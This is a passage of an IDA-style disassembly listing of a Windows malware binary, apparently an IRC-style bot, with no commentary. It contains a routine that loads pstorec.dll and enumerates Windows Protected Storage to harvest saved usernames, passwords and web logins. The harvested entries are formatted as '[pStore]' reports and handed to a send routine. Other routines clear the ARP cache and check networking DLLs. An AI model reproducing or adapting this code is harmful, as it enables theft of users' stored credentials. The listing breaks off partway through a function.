		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_408485:				; CODE XREF: sub_4083A1+B6j
		cmp	dword_4D6744, esi
		jz	short loc_4084B9
		push	dword_4D6748
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_4084B9:				; CODE XREF: sub_4083A1+EAj
		cmp	dword_4D674C, esi
		jz	short loc_4084ED
		push	dword_4D6750
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_4084ED:				; CODE XREF: sub_4083A1+11Ej
		cmp	dword_4D6754, esi
		jz	short loc_408521
		push	dword_4D6758
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_408521:				; CODE XREF: sub_4083A1+152j
		cmp	dword_4D675C, esi
		jz	short loc_408555
		push	dword_4D6760
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_408555:				; CODE XREF: sub_4083A1+186j
		cmp	dword_4D6764, esi
		jz	short loc_408589
		push	dword_4D6768
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_408589:				; CODE XREF: sub_4083A1+1BAj
		cmp	dword_4D676C, esi
		jz	short loc_4085BD
		push	dword_4D6770
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_4085BD:				; CODE XREF: sub_4083A1+1EEj
		cmp	dword_4D6774, esi
		jz	short loc_4085F1
		push	dword_4D6778
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_4085F1:				; CODE XREF: sub_4083A1+222j
		cmp	dword_4D677C, esi
		jz	short loc_408625
		push	dword_4D6780
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_408625:				; CODE XREF: sub_4083A1+256j
		cmp	dword_4D6784, esi
		jz	short loc_408659
		push	dword_4D6788
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_408659:				; CODE XREF: sub_4083A1+28Aj
		cmp	dword_4D678C, esi
		jz	short loc_40868D
		push	dword_4D6790
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_417CB0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h


loc_40868D:				; CODE XREF: sub_4083A1+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_43AFCC
		push	eax
		call	sub_417CB0
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4086BA
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_4086BA:				; CODE XREF: sub_4083A1+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40F927
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4083A1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	dword ptr [ebp+8], 0
		push	esi
		jz	loc_408761
		push	offset dword_4D67A4
		push	dword ptr [ebp+8]
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408761
		push	20h
		lea	eax, [ebp-20h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_417760
		lea	eax, [ebp-20h]
		push	offset a___1	; ".."
		push	eax
		call	sub_418AC0
		add	esp, 14h
		test	eax, eax
		jz	short loc_408761
		push	eax
		call	sub_417960
		mov	dword ptr [esp], (offset a___1+2)
		push	0
		mov	esi, eax
		call	sub_418AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408761
		push	eax
		call	sub_417960
		cmp	esi, 0Ah
		pop	ecx
		jz	short loc_40875C
		cmp	esi, 0ACh
		jnz	short loc_40874D
		cmp	eax, 0Fh
		jle	short loc_408761
		cmp	eax, 20h
		jl	short loc_40875C


loc_40874D:				; CODE XREF: .data:00408741j
		cmp	esi, 0C0h
		jnz	short loc_408761
		cmp	eax, 0A8h
		jnz	short loc_408761


loc_40875C:				; CODE XREF: .data:00408739j
					; .data:0040874Bj
		xor	eax, eax
		inc	eax
		jmp	short loc_408763
; ---------------------------------------------------------------------------


loc_408761:				; CODE XREF: .data:004086D7j
					; .data:004086EEj ...
		xor	eax, eax


loc_408763:				; CODE XREF: .data:0040875Fj
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_408766	proc near		; CODE XREF: sub_4019A5+4Fp
					; sub_401C87+48E7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4D66A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40878E
		push	[esp+arg_0]
		call	dword_4D66EC	; gethostbyname
		test	eax, eax
		jnz	short loc_408787
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_408787:				; CODE XREF: sub_408766+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40878E:				; CODE XREF: sub_408766+Dj
		retn
sub_408766	endp


; =============== S U B	R O U T	I N E =======================================



sub_40878F	proc near		; CODE XREF: sub_4019A5+D6p
		mov	ecx, dword_4D6584
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40879D
		jmp	ecx
; ---------------------------------------------------------------------------

locret_40879D:				; CODE XREF: sub_40878F+Aj
		retn
sub_40878F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40879E	proc near		; CODE XREF: sub_401C87:loc_403BC6p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4D66E4	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40886A
		sub	ecx, 32h
		jz	loc_408863
		sub	ecx, 48h
		jz	short loc_4087FE
		sub	ecx, 6Eh
		jz	short loc_4087F7
		push	eax
		push	offset unk_43AFF0


loc_4087E6:				; CODE XREF: sub_40879E+91j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		jmp	short loc_408844
; ---------------------------------------------------------------------------


loc_4087F7:				; CODE XREF: sub_40879E+40j
		push	offset unk_43B01C
		jmp	short loc_408836
; ---------------------------------------------------------------------------


loc_4087FE:				; CODE XREF: sub_40879E+3Bj
		push	[ebp+var_8]
		call	sub_415090
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417700
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_408831
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4D66E4	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40886A
		push	eax
		push	offset unk_43B040
		jmp	short loc_4087E6
; ---------------------------------------------------------------------------


loc_408831:				; CODE XREF: sub_40879E+79j
		push	offset unk_43B06C


loc_408836:				; CODE XREF: sub_40879E+5Ej
					; sub_40879E+CAj
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


loc_408844:				; CODE XREF: sub_40879E+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40F927
		pop	ecx


loc_408854:				; CODE XREF: sub_40879E+CEj
					; sub_40879E+E2j
		push	esi
		call	sub_415C20
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_408863:				; CODE XREF: sub_40879E+32j
		push	offset unk_43B09C
		jmp	short loc_408836
; ---------------------------------------------------------------------------


loc_40886A:				; CODE XREF: sub_40879E+29j
					; sub_40879E+89j
		cmp	[esi], edi
		jbe	short loc_408854
		lea	ebx, [esi+4]


loc_408871:				; CODE XREF: sub_40879E+E0j
		push	ebx
		call	dword_4D66E0	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_408871
		jmp	short loc_408854
sub_40879E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408882	proc near		; CODE XREF: sub_401C87+1E2Bp
					; sub_401C87+2687p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D660C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4D6794
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_417CB0
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_408882	endp


; =============== S U B	R O U T	I N E =======================================



sub_4088DB	proc near		; CODE XREF: .data:0040A72Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_408906
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+8+arg_0]


loc_4088F9:				; CODE XREF: sub_4088DB+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_4088F9
		pop	edi
		jmp	short loc_40890A
; ---------------------------------------------------------------------------


loc_408906:				; CODE XREF: sub_4088DB+Aj
		mov	esi, [esp+4+arg_0]


loc_40890A:				; CODE XREF: sub_4088DB+29j
		test	ecx, ecx
		jz	short loc_408913
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_408913:				; CODE XREF: sub_4088DB+31j
		mov	ecx, edx
		and	edx, 0FFFFh
		shr	ecx, 10h
		add	ecx, edx
		pop	esi
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_4088DB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	ecx, 1
		mov	[ebp-4], esi
		jle	short loc_40895A
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		lea	edi, [eax+eax]
		sub	ecx, edi


loc_40894C:				; CODE XREF: .data:00408954j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	eax
		jnz	short loc_40894C
		pop	edi
		cmp	ecx, 1


loc_40895A:				; CODE XREF: .data:0040893Ej
		jnz	short loc_408967
		mov	al, [edx]
		mov	[ebp-4], al
		movzx	eax, word ptr [ebp-4]
		add	esi, eax


loc_408967:				; CODE XREF: .data:loc_40895Aj
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		leave
		retn
; ---------------------------------------------------------------------------
		retn	0Ch
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------


loc_408986:				; DATA XREF: sub_401C87+3C70o
		mov	eax, offset loc_433EE0
		call	sub_4191E0
		sub	esp, 0FA0h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		push	21h
		lea	edi, [ebp-1C4h]
		pop	ecx
		rep movsd
		push	offset aPstorec_dll ; "pstorec.dll"
		call	dword_4E037C	; LoadLibraryA
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_408E7D
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	eax
		call	dword_4E0380	; GetProcAddress
		lea	ecx, [ebp+8]
		mov	esi, eax
		call	sub_408E90
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [ebp+8]
		mov	[ebp-4], ebx
		call	sub_408E9B
		push	eax
		call	esi	; GetProcAddress
		cmp	eax, ebx
		jl	loc_408E75
		lea	ecx, [ebp-10h]
		call	sub_408EAD
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 1
		call	sub_408EB8
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [ebp+8]
		call	sub_408EAA
		mov	ecx, eax
		call	sub_408F0E
		cmp	eax, ebx
		lea	ecx, [ebp-10h]
		jge	loc_408E53
		jmp	loc_408E70
; ---------------------------------------------------------------------------


loc_408A21:				; CODE XREF: .data:00408E67j
		sub	esp, 10h
		lea	esi, [ebp-34h]
		mov	edi, esp
		lea	eax, [ebp-78h]
		movsd
		movsd
		movsd
		push	offset asc_43B0FC ; "%x"
		push	eax
		movsd
		call	dword_4E04D8	; wsprintfA
		add	esp, 18h
		lea	ecx, [ebp-14h]
		call	sub_408EAD
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 2
		call	sub_408EB8
		push	eax
		lea	eax, [ebp-34h]
		push	ebx
		push	eax
		push	ebx
		lea	ecx, [ebp+8]
		call	sub_408EAA
		mov	ecx, eax
		call	sub_408F23
		jmp	loc_408E27
; ---------------------------------------------------------------------------


loc_408A6E:				; CODE XREF: .data:00408E3Ej
		lea	ecx, [ebp-18h]
		call	sub_408ECA
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 3
		call	sub_408ED5
		push	eax
		lea	eax, [ebp-44h]
		push	ebx
		push	eax
		lea	eax, [ebp-34h]
		lea	ecx, [ebp+8]
		push	eax
		push	ebx
		call	sub_408EAA
		mov	ecx, eax
		call	sub_408F61
		jmp	loc_408DFE
; ---------------------------------------------------------------------------


loc_408AA1:				; CODE XREF: .data:00408E15j
		push	dword ptr [ebp-20h]
		mov	edi, dword_4E04D8
		lea	eax, [ebp-5C4h]
		push	offset aWs	; "%ws"
		push	eax
		call	edi	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp-1Ch]
		lea	ecx, [ebp+8]
		mov	[ebp-24h], ebx
		push	ebx
		push	ebx
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-44h]
		push	dword ptr [ebp-20h]
		mov	[ebp-1Ch], ebx
		push	eax
		lea	eax, [ebp-34h]
		push	eax
		push	ebx
		call	sub_408EAA
		mov	ecx, eax
		call	sub_408F3C
		push	dword ptr [ebp-1Ch]
		call	dword_4E0390	; lstrlenA
		mov	esi, [ebp-24h]
		lea	eax, [esi-1]
		test	eax, eax
		jz	short loc_408B2C
		xor	edx, edx
		xor	ecx, ecx
		cmp	esi, ebx
		jbe	short loc_408B23


loc_408B01:				; CODE XREF: .data:00408B21j
		mov	eax, [ebp-1Ch]
		mov	al, [ecx+eax]
		cmp	al, bl
		jnz	short loc_408B15
		mov	byte ptr [ebp+edx-3C4h], 2Ch
		jmp	short loc_408B1C
; ---------------------------------------------------------------------------


loc_408B15:				; CODE XREF: .data:00408B09j
		mov	[ebp+edx-3C4h],	al


loc_408B1C:				; CODE XREF: .data:00408B13j
		inc	edx
		inc	ecx
		inc	ecx
		cmp	ecx, esi
		jb	short loc_408B01


loc_408B23:				; CODE XREF: .data:00408AFFj
		mov	[ebp+edx-3C5h],	bl
		jmp	short loc_408B40
; ---------------------------------------------------------------------------


loc_408B2C:				; CODE XREF: .data:00408AF7j
		push	dword ptr [ebp-1Ch]
		lea	eax, [ebp-3C4h]
		push	offset aS_23	; "%s"
		push	eax
		call	edi	; wsprintfA
		add	esp, 0Ch


loc_408B40:				; CODE XREF: .data:00408B2Aj
		mov	esi, dword_4E038C
		lea	eax, [ebp-0FACh]
		push	offset byte_4D67A8
		push	eax
		call	esi	; lstrcpyA
		lea	eax, [ebp-9C4h]
		push	offset byte_4D67A9
		push	eax
		call	esi	; lstrcpyA
		mov	edi, dword_4E0388
		lea	eax, [ebp-78h]
		push	offset a5e7e8100 ; "5e7e8100"
		push	eax
		call	edi	; lstrcmpA
		test	eax, eax
		jnz	loc_408C54
		lea	eax, [ebp-140h]
		push	offset byte_4D67AA
		push	eax
		call	esi	; lstrcpyA
		lea	eax, [ebp-3C4h]
		push	offset asc_43B112 ; ":"
		push	eax
		call	sub_417E00
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408BD3
		lea	eax, [ebp-3C4h]
		push	offset asc_43B114 ; "::"
		push	eax
		call	sub_417E00
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		call	esi	; lstrcpyA
		lea	eax, [ebp-3C4h]
		push	43B116h
		push	eax
		call	sub_417E00
		pop	ecx
		mov	[eax], bl
		pop	ecx


loc_408BD3:				; CODE XREF: .data:00408B9Ej
		lea	eax, [ebp-3C4h]
		push	offset byte_4D67AB
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408C2A
		lea	eax, [ebp-140h]
		push	offset byte_4D67AC
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408C2A
		lea	eax, [ebp-140h]
		push	eax
		lea	eax, [ebp-3C4h]
		push	eax
		lea	eax, [ebp-5C4h]
		push	eax
		lea	eax, [ebp-7C4h]
		push	offset aPstoreSSS ; "[pStore] %s %s:%s"
		push	eax
		call	sub_417CB0
		add	esp, 14h


loc_408C2A:				; CODE XREF: .data:00408BE8j
					; .data:00408BFFj
		push	ebx
		lea	eax, [ebp-7C4h]
		push	ebx
		push	eax
		lea	eax, [ebp-1C0h]
		push	eax
		push	dword ptr [ebp-1C4h]
		call	sub_40764A
		lea	eax, [ebp-7C4h]
		push	eax
		call	sub_40F927
		add	esp, 18h


loc_408C54:				; CODE XREF: .data:00408B75j
		lea	eax, [ebp-78h]
		push	offset aE161255a ; "e161255a"
		push	eax
		call	edi	; lstrcmpA
		test	eax, eax
		jnz	loc_408DCF
		lea	eax, [ebp-5C4h]
		push	offset aStringindex ; "StringIndex"
		push	eax
		call	sub_417E00
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408DCF
		lea	eax, [ebp-5C4h]
		push	offset aString	; ":String"
		push	eax
		call	sub_417E00
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CAE
		lea	eax, [ebp-5C4h]
		push	offset aString_0 ; ":String"
		push	eax
		call	sub_417E00
		pop	ecx
		mov	[eax], bl
		pop	ecx


loc_408CAE:				; CODE XREF: .data:00408C97j
		lea	eax, [ebp-5C4h]
		push	8
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		call	dword_4E0384	; lstrcpynA
		lea	eax, [ebp-140h]
		push	offset aHttp_0	; "http:/"
		push	eax
		call	sub_417E00
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408CF6
		lea	eax, [ebp-140h]
		push	offset aHttps	; "https:/"
		push	eax
		call	sub_417E00
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DCF


loc_408CF6:				; CODE XREF: .data:00408CD9j
		lea	eax, [ebp-140h]
		push	offset byte_4D67AD
		push	eax
		call	esi	; lstrcpyA
		lea	eax, [ebp-3C4h]
		push	offset asc_43B164 ; ",,,"
		push	eax
		call	sub_417E00
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D4E
		lea	eax, [ebp-3C4h]
		push	43B166h
		push	eax
		call	sub_417E00
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		call	esi	; lstrcpyA
		lea	eax, [ebp-3C4h]
		push	43B168h
		push	eax
		call	sub_417E00
		pop	ecx
		mov	[eax], bl
		pop	ecx


loc_408D4E:				; CODE XREF: .data:00408D19j
		lea	eax, [ebp-3C4h]
		push	offset byte_4D67AE
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408DA5
		lea	eax, [ebp-140h]
		push	offset byte_4D67AF
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408DA5
		lea	eax, [ebp-140h]
		push	eax
		lea	eax, [ebp-3C4h]
		push	eax
		lea	eax, [ebp-5C4h]
		push	eax
		lea	eax, [ebp-7C4h]
		push	offset aPstoreSSS_0 ; "[pStore]	%s %s:%s"
		push	eax
		call	sub_417CB0
		add	esp, 14h


loc_408DA5:				; CODE XREF: .data:00408D63j
					; .data:00408D7Aj
		push	ebx
		lea	eax, [ebp-7C4h]
		push	ebx
		push	eax
		lea	eax, [ebp-1C0h]
		push	eax
		push	dword ptr [ebp-1C4h]
		call	sub_40764A
		lea	eax, [ebp-7C4h]
		push	eax
		call	sub_40F927
		add	esp, 18h


loc_408DCF:				; CODE XREF: .data:00408C61j
					; .data:00408C7Cj ...
		mov	esi, 200h
		lea	eax, [ebp-5C4h]
		push	esi
		push	ebx
		push	eax
		call	sub_417700
		push	esi
		lea	eax, [ebp-3C4h]
		push	ebx
		push	eax
		call	sub_417700
		add	esp, 18h
		push	3E8h
		call	dword_4E033C	; Sleep


loc_408DFE:				; CODE XREF: .data:00408A9Cj
		lea	ecx, [ebp-18h]
		call	sub_408EE4
		mov	ecx, [eax]
		lea	edx, [ebp-20h]
		push	ebx
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jz	loc_408AA1
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 2
		call	sub_408ED0


loc_408E27:				; CODE XREF: .data:00408A69j
		lea	ecx, [ebp-14h]
		call	sub_408EC7
		mov	ecx, [eax]
		lea	edx, [ebp-44h]
		push	ebx
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jz	loc_408A6E
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		call	sub_408EB3
		lea	ecx, [ebp-10h]


loc_408E53:				; CODE XREF: .data:00408A16j
		call	sub_408EC7
		mov	ecx, [eax]
		lea	edx, [ebp-34h]
		push	ebx
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jz	loc_408A21
		lea	ecx, [ebp-10h]


loc_408E70:				; CODE XREF: .data:00408A1Cj
		call	sub_408EB3


loc_408E75:				; CODE XREF: .data:004089E5j
		lea	ecx, [ebp+8]
		call	sub_408E96


loc_408E7D:				; CODE XREF: .data:004089B6j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_408E90	proc near		; CODE XREF: .data:004089CDp
		mov	eax, ecx
		and	dword ptr [eax], 0
		retn
sub_408E90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_408E96	proc near		; CODE XREF: .data:00408E78p
					; .data:00433EC3j
		jmp	sub_408EE7
sub_408E96	endp


; =============== S U B	R O U T	I N E =======================================



sub_408E9B	proc near		; CODE XREF: .data:004089DBp
		push	esi
		mov	esi, ecx
		call	sub_408EE7
		and	dword ptr [esi], 0
		mov	eax, esi
		pop	esi
		retn
sub_408E9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_408EAA	proc near		; CODE XREF: .data:00408A05p
					; .data:00408A5Dp ...
		mov	eax, [ecx]
		retn
sub_408EAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_408EAD	proc near		; CODE XREF: .data:004089EEp
					; .data:00408A42p
		mov	eax, ecx
		and	dword ptr [eax], 0
		retn
sub_408EAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_408EB3	proc near		; CODE XREF: .data:00408E4Bp
					; .data:loc_408E70p ...
		jmp	sub_408EF4
sub_408EB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_408EB8	proc near		; CODE XREF: .data:004089FAp
					; .data:00408A4Ep
		push	esi
		mov	esi, ecx
		call	sub_408EF4
		and	dword ptr [esi], 0
		mov	eax, esi
		pop	esi
		retn
sub_408EB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_408EC7	proc near		; CODE XREF: .data:00408E2Ap
					; .data:loc_408E53p
		mov	eax, [ecx]
		retn
sub_408EC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_408ECA	proc near		; CODE XREF: .data:00408A71p
		mov	eax, ecx
		and	dword ptr [eax], 0
		retn
sub_408ECA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_408ED0	proc near		; CODE XREF: .data:00408E22p
					; .data:00433EDBj
		jmp	sub_408F01
sub_408ED0	endp


; =============== S U B	R O U T	I N E =======================================



sub_408ED5	proc near		; CODE XREF: .data:00408A7Dp
		push	esi
		mov	esi, ecx
		call	sub_408F01
		and	dword ptr [esi], 0
		mov	eax, esi
		pop	esi
		retn
sub_408ED5	endp


; =============== S U B	R O U T	I N E =======================================



sub_408EE4	proc near		; CODE XREF: .data:00408E01p
		mov	eax, [ecx]
		retn
sub_408EE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_408EE7	proc near		; CODE XREF: sub_408E96j sub_408E9B+3p
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_408EF3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_408EF3:				; CODE XREF: sub_408EE7+4j
		retn
sub_408EE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_408EF4	proc near		; CODE XREF: sub_408EB3j sub_408EB8+3p
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_408F00
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_408F00:				; CODE XREF: sub_408EF4+4j
		retn
sub_408EF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F01	proc near		; CODE XREF: sub_408ED0j sub_408ED5+3p
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_408F0D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_408F0D:				; CODE XREF: sub_408F01+4j
		retn
sub_408F01	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F0E	proc near		; CODE XREF: .data:00408A0Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [ecx]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	ecx
		call	dword ptr [eax+38h]
		retn	0Ch
sub_408F0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F23	proc near		; CODE XREF: .data:00408A64p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [ecx]
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		push	ecx
		call	dword ptr [eax+3Ch]
		retn	10h
sub_408F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F3C	proc near		; CODE XREF: .data:00408AE1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
